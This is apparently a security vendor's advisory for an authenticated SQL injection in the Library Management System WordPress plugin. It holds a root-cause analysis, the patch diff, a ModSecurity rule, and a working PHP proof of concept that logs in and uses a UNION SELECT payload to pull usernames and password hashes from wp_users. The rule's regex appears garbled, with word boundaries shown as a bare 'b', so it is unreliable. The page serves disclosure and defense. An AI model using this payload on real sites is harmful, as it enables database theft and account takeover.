Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-18666: Library Management System <= 3.6.6 Authenticated (Subscriber+) SQL Injection PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 3.6.6
Patched Version 3.6.7
Disclosed August 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-18666: The Library Management System WordPress plugin (versions up to and including 3.6.6) contains an authenticated SQL injection vulnerability in the `handle_data_option_filters` method of the `AjaxHelper` class. A subscriber-level user can supply a malicious `value` parameter to the plugin’s AJAX endpoint, which is then concatenated directly into SQL queries without proper escaping or preparation. Successful exploitation allows an attacker to execute arbitrary SQL queries and extract sensitive information from the WordPress database. The CVSS score is 6.5 (Medium).

The root cause is insufficient input sanitization combined with unsafe SQL query construction. In `library-management-system/includes/Helper/AjaxHelper.php`, the `handle_data_option_filters` function (around line 2223) reads the `value`, `filterBy`, and `module` parameters from `$_REQUEST`. The `value` parameter is passed through `sanitize_text_field`, which does not prevent SQL injection. It is then used directly in three `$wpdb->get_results` calls: for `books` (line ~2257), `sections` (line ~2275), and `users` (line ~2292). In each case, the value is interpolated into the SQL string as `{$filterValue}` without quoting or using `$wpdb->prepare`. The `filterBy` and `module` parameters are also sanitized but not validated against a whitelist, allowing an attacker to select which vulnerable query branch to trigger.

An attacker with subscriber-level access can exploit this by sending a POST request to `/wp-admin/admin-ajax.php` with the action corresponding to `handle_data_option_filters` (likely `owt7_lms_data_option_filters` or similar). The attacker sets `module` to `books`, `filterBy` to `category`, and `value` to a malicious SQL payload such as `1 UNION SELECT user_login, user_pass, 1,1,1,1,1,1,1,1,1,1 FROM wp_users– -`. Because the value is placed directly into the `WHERE` clause without quotes, the attacker controls the query structure. They can extract arbitrary data from any table, including user credentials, session tokens, or other sensitive information.

The patch (version 3.6.7) fixes the vulnerability by validating the `module` and `filterBy` parameters against a hardcoded whitelist (`$allowedModules`) and by using `$wpdb->prepare` for all SQL queries that include the `$filterValue`. It also adds a capability check (`RolesHelper::libmns_current_user_can`) to ensure the user has appropriate permissions. The `$filterValue` is now cast to an integer using `absint()` when it is not `”all”`, and the prepared statements use `%d` placeholders. These changes prevent SQL injection by ensuring the value is an integer and by using parameterized queries. The whitelist prevents attackers from selecting unexpected modules or filter types. The capability check adds an additional layer of authorization.

If exploited, this vulnerability allows any authenticated user with subscriber-level access to read the entire WordPress database. This includes sensitive information such as user password hashes, email addresses, personal data, and potentially configuration secrets stored in the database. An attacker could also modify or delete data if the database user has write permissions, leading to data integrity issues. The vulnerability does not directly lead to remote code execution, but the exposed information could be used to escalate privileges or launch further attacks.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/library-management-system/includes/Helper/AjaxHelper.php
+++ b/library-management-system/includes/Helper/AjaxHelper.php
@@ -2223,15 +2223,33 @@
 	private function handle_data_option_filters() {
 		global $wpdb;
 		$response = array( 0, __( 'Invalid LMS operation', 'library-management-system' ) );
-		$filterValue = isset( $_REQUEST['value'] ) ? sanitize_text_field( $_REQUEST['value'] ) : "all" ;
-					$filterBy = isset( $_REQUEST['filterBy'] ) ? sanitize_text_field( trim( $_REQUEST['filterBy'] ) ) : "" ;
-					$module = isset( $_REQUEST['module'] ) ? sanitize_text_field( trim( $_REQUEST['module'] ) ) : "" ;
+		$rawFilterValue = isset( $_REQUEST['value'] ) ? sanitize_text_field( wp_unslash( (string) $_REQUEST['value'] ) ) : "all" ;
+		$filterValue = ( "all" === $rawFilterValue ) ? "all" : absint( $rawFilterValue );
+					$filterBy = isset( $_REQUEST['filterBy'] ) ? sanitize_text_field( wp_unslash( trim( (string) $_REQUEST['filterBy'] ) ) ) : "" ;
+					$module = isset( $_REQUEST['module'] ) ? sanitize_text_field( wp_unslash( trim( (string) $_REQUEST['module'] ) ) ) : "" ;
+
+					$allowedModules = array(
+						'books'    => array( 'filterBy' => 'category', 'cap' => 'owt7_lms_list_books',    'folder' => 'books' ),
+						'sections' => array( 'filterBy' => 'bookcase', 'cap' => 'owt7_lms_list_sections', 'folder' => 'bookcases' ),
+						'users'    => array( 'filterBy' => 'branch',   'cap' => 'owt7_lms_list_users',    'folder' => 'users' ),
+					);
+
+					if ( ! isset( $allowedModules[ $module ] ) || $allowedModules[ $module ]['filterBy'] !== $filterBy ) {
+						return array( 0, __( 'Invalid LMS Module', 'library-management-system' ) );
+					}
+
+					if ( ! RolesHelper::libmns_current_user_can( $allowedModules[ $module ]['cap'] ) ) {
+						return array( 0, __( 'You do not have permission to view this data.', 'library-management-system' ) );
+					}
+
+					$moduleFolder = $allowedModules[ $module ]['folder'];
+					${$module} = array();

 					if(!empty($module)){

 						if($module == "books" && $filterBy == "category"){

-							if($filterValue == "all"){
+							if( "all" === $filterValue ){

 								$books = $wpdb->get_results(
 									"SELECT book.id, book.book_id, book.name, book.is_woocom_product, book.stock_quantity, book.status, book.created_at, (SELECT category.name FROM ".TableHelper::get_table_name( 'categories' )." as category WHERE category.id = book.category_id LIMIT 1) as category_name, (SELECT bkcase.name FROM ".TableHelper::get_table_name( 'bookcases' )." as bkcase WHERE bkcase.id = book.bookcase_id LIMIT 1) as bookcase_name, (SELECT section.name FROM ".TableHelper::get_table_name( 'sections' )." as section WHERE section.id = book.bookcase_section_id LIMIT 1) as section_name, (SELECT COUNT(*) FROM ".TableHelper::get_table_name( 'book_borrow' )." as borrow WHERE borrow.book_id = book.id AND borrow.status = 1) as has_active_borrow from " . TableHelper::get_table_name( 'books' ). " as book ORDER BY book.id DESC"
@@ -2239,14 +2257,17 @@
 							} elseif ( $filterValue > 0 ){

 								$books = $wpdb->get_results(
-									"SELECT book.id, book.book_id, book.name, book.is_woocom_product, book.stock_quantity, book.status, book.created_at, (SELECT category.name FROM ".TableHelper::get_table_name( 'categories' )." as category WHERE category.id = book.category_id LIMIT 1) as category_name, (SELECT bkcase.name FROM ".TableHelper::get_table_name( 'bookcases' )." as bkcase WHERE bkcase.id = book.bookcase_id LIMIT 1) as bookcase_name, (SELECT section.name FROM ".TableHelper::get_table_name( 'sections' )." as section WHERE section.id = book.bookcase_section_id LIMIT 1) as section_name, (SELECT COUNT(*) FROM ".TableHelper::get_table_name( 'book_borrow' )." as borrow WHERE borrow.book_id = book.id AND borrow.status = 1) as has_active_borrow from " . TableHelper::get_table_name( 'books' ). " as book WHERE (book.category_id = {$filterValue} OR book.id IN (SELECT bc.book_id FROM ".TableHelper::get_table_name( 'book_categories' )." bc WHERE bc.category_id = {$filterValue})) ORDER BY book.id DESC"
+									$wpdb->prepare(
+										"SELECT book.id, book.book_id, book.name, book.is_woocom_product, book.stock_quantity, book.status, book.created_at, (SELECT category.name FROM ".TableHelper::get_table_name( 'categories' )." as category WHERE category.id = book.category_id LIMIT 1) as category_name, (SELECT bkcase.name FROM ".TableHelper::get_table_name( 'bookcases' )." as bkcase WHERE bkcase.id = book.bookcase_id LIMIT 1) as bookcase_name, (SELECT section.name FROM ".TableHelper::get_table_name( 'sections' )." as section WHERE section.id = book.bookcase_section_id LIMIT 1) as section_name, (SELECT COUNT(*) FROM ".TableHelper::get_table_name( 'book_borrow' )." as borrow WHERE borrow.book_id = book.id AND borrow.status = 1) as has_active_borrow from " . TableHelper::get_table_name( 'books' ). " as book WHERE (book.category_id = %d OR book.id IN (SELECT bc.book_id FROM ".TableHelper::get_table_name( 'book_categories' )." bc WHERE bc.category_id = %d)) ORDER BY book.id DESC",
+										$filterValue,
+										$filterValue
+									)
 								);
 							}

-							$moduleFolder = "books";
 						} elseif($module == "sections" && $filterBy == "bookcase"){

-							if($filterValue == "all"){
+							if( "all" === $filterValue ){

 								$sections = $wpdb->get_results(
 									"SELECT sec.*, bkcase.name as bookcase_name, (SELECT count(*) FROM ".TableHelper::get_table_name( 'books' )." as book WHERE book.bookcase_section_id = sec.id limit 1) as total_books from " . TableHelper::get_table_name( 'sections' ). " sec INNER JOIN ". TableHelper::get_table_name( 'bookcases' ) . " bkcase ON sec.bookcase_id = bkcase.id ORDER BY sec.id DESC"
@@ -2254,14 +2275,16 @@
 							} elseif ( $filterValue > 0 ){

 								$sections = $wpdb->get_results(
-									"SELECT sec.*, bkcase.name as bookcase_name, (SELECT count(*) FROM ".TableHelper::get_table_name( 'books' )." as book WHERE book.bookcase_section_id = sec.id limit 1) as total_books from " . TableHelper::get_table_name( 'sections' ). " sec INNER JOIN ". TableHelper::get_table_name( 'bookcases' ) . " bkcase ON sec.bookcase_id = bkcase.id WHERE sec.bookcase_id = {$filterValue} ORDER BY sec.id DESC"
+									$wpdb->prepare(
+										"SELECT sec.*, bkcase.name as bookcase_name, (SELECT count(*) FROM ".TableHelper::get_table_name( 'books' )." as book WHERE book.bookcase_section_id = sec.id limit 1) as total_books from " . TableHelper::get_table_name( 'sections' ). " sec INNER JOIN ". TableHelper::get_table_name( 'bookcases' ) . " bkcase ON sec.bookcase_id = bkcase.id WHERE sec.bookcase_id = %d ORDER BY sec.id DESC",
+										$filterValue
+									)
 								);
 							}

-							$moduleFolder = "bookcases";
 						} elseif($module == "users" && $filterBy == "branch"){

-							if($filterValue == "all"){
+							if( "all" === $filterValue ){

 								$users = $wpdb->get_results(
 									"SELECT user.*, (SELECT name FROM ".TableHelper::get_table_name( 'branches' )." as branch WHERE branch.id = user.branch_id LIMIT 1) as branch_name from " . TableHelper::get_table_name( 'users' )." as user ORDER BY user.id DESC"
@@ -2269,12 +2292,14 @@
 							} elseif ( $filterValue > 0 ){

 								$users = $wpdb->get_results(
-									"SELECT user.*, (SELECT name FROM ".TableHelper::get_table_name( 'branches' )." as branch WHERE branch.id = user.branch_id LIMIT 1) as branch_name from " . TableHelper::get_table_name( 'users' )." as user WHERE user.branch_id = {$filterValue} ORDER BY user.id DESC"
+									$wpdb->prepare(
+										"SELECT user.*, (SELECT name FROM ".TableHelper::get_table_name( 'branches' )." as branch WHERE branch.id = user.branch_id LIMIT 1) as branch_name from " . TableHelper::get_table_name( 'users' )." as user WHERE user.branch_id = %d ORDER BY user.id DESC",
+										$filterValue
+									)
 								);
 							}

-							$moduleFolder = "users";
-						}
+						}

 						$params[$module] = ${$module};

--- a/library-management-system/includes/libmns_constants.php
+++ b/library-management-system/includes/libmns_constants.php
@@ -20,7 +20,7 @@
 	}
 }

-define( 'LIBMNS_VERSION', '3.6.6' );
+define( 'LIBMNS_VERSION', '3.6.7' );
 define( 'LIBMNS_PREFIX', 'owt7' );
 define( 'LIBMNS_TEXT_DOMAIN', 'library-management-system' );
 define( 'LIBMNS_PLUGIN_SLUG', 'library-management-system' );
--- a/library-management-system/library-management-system.php
+++ b/library-management-system/library-management-system.php
@@ -10,7 +10,7 @@
  * Plugin Name:       Library Management System
  * Plugin URI:        https://onlinewebtutorblog.com/library-management-system-wordpress-plugin/
  * Description:       Transform your WordPress site into a smart and efficient digital library with an easy-to-use system for managing books, borrowers, and transactions, while also giving you flexible settings and smooth import tools to keep your library organized and running effortlessly for free.
- * Version:           3.6.6
+ * Version:           3.6.7
  * Author:            Online Web Tutor
  * Author URI:        https://onlinewebtutorblog.com/
  * License:           GPL-2.0+

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-18666
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261866,phase:2,deny,status:403,chain,msg:'CVE-2026-18666 via Library Management System AJAX',severity:'CRITICAL',tag:'CVE-2026-18666'"
  SecRule ARGS_POST:action "@streq owt7_lms_data_option_filters" "chain"
    SecRule ARGS_POST:value "@rx (?:bunionb|bselectb|bfromb|bwhereb|bandb|borb|--|bexecb|binsertb|bupdateb|bdeleteb|bdropb|bcreateb|balterb|;)" "t:urlDecodeUni,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-18666 - Library Management System <= 3.6.6 - Authenticated (Subscriber+) SQL Injection

$target_url = 'http://example.com'; // Change to your target WordPress site
$username = 'subscriber'; // Subscriber-level username
$password = 'password'; // Subscriber-level password

// Initialize cURL session
$ch = curl_init();

// Step 1: Log in to WordPress to obtain cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);

if (strpos($login_response, 'Dashboard') === false) {
    die('Login failed. Check credentials.');
}

// Step 2: Craft the SQL injection payload
// The vulnerable parameter is 'value' in the AJAX action 'handle_data_option_filters'.
// We set module=books and filterBy=category to reach the vulnerable query.
// Payload extracts user_login and user_pass from wp_users table.
$sqli_payload = "1 UNION SELECT user_login, user_pass, 1,1,1,1,1,1,1,1,1,1 FROM wp_users-- -";

$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ajax_data = array(
    'action' => 'owt7_lms_data_option_filters', // Adjust if the actual action name differs
    'module' => 'books',
    'filterBy' => 'category',
    'value' => $sqli_payload
);

// Step 3: Send the exploit request
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$exploit_response = curl_exec($ch);

// Step 4: Output the response (should contain extracted data)
echo "Exploit response:n";
echo $exploit_response . "n";

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.